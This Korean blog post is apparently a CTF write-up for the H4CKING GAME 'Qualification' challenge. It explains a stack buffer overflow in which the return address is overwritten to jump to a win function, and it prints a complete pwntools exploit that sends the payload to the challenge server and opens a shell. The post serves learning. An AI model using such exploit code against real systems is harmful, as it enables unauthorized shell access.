본문 바로가기
H4CKING GAME

[H4CKING GAME] - Qualification

by skyepodium 2022. 8. 7.

1. 개요

버퍼 오버 플로우 문제

 

2. 분석


스택의 크기는 0x38(56) byte입니다.


win함수에서 쉘을 실행시킵니다.

 

56보다 큰 바이트를 입력해서 버퍼 오버 플로우를 일으킵니다.

 

main함수가 종료되면 RET이 수행되어야하는데 그때 win 함수의 주소를 넣어서 win함수가 실행되어 최종적으로 쉘이 실행되도록 합니다.

 

3. 코드

from pwn import *

# 1. binary 파일 분석
# 64비트
context.log_level = 'debug'
binfile = './welcome'
e = ELF(binfile)

# 2. 연결
p = remote('pwn.h4ckingga.me', 10001)
p.connected()

# 3. 페이로드 전송
# 스택 크기: 56 byte
# 페이로드 총 64 byte: 쓸모없는 문자 56 byte + win 함수의 주소 little enidian(8 byte)
payload = b'a' * 56 + p64(e.sym['win'])
p.sendline(payload)

# 4. 쉘 인터렉션 실행
p.interactive()

 

4. 확인

'H4CKING GAME' 카테고리의 다른 글

[H4CKING GAME] - CODE  (0) 2022.08.15
[H4CKING GAME] - Paint  (0) 2022.08.07
[H4CKING GAME] - cat  (0) 2022.08.07
[H4CKING GAME] - Hello,Postman  (0) 2022.08.07
[H4CKING GAME] - Hello,Postman  (0) 2022.08.07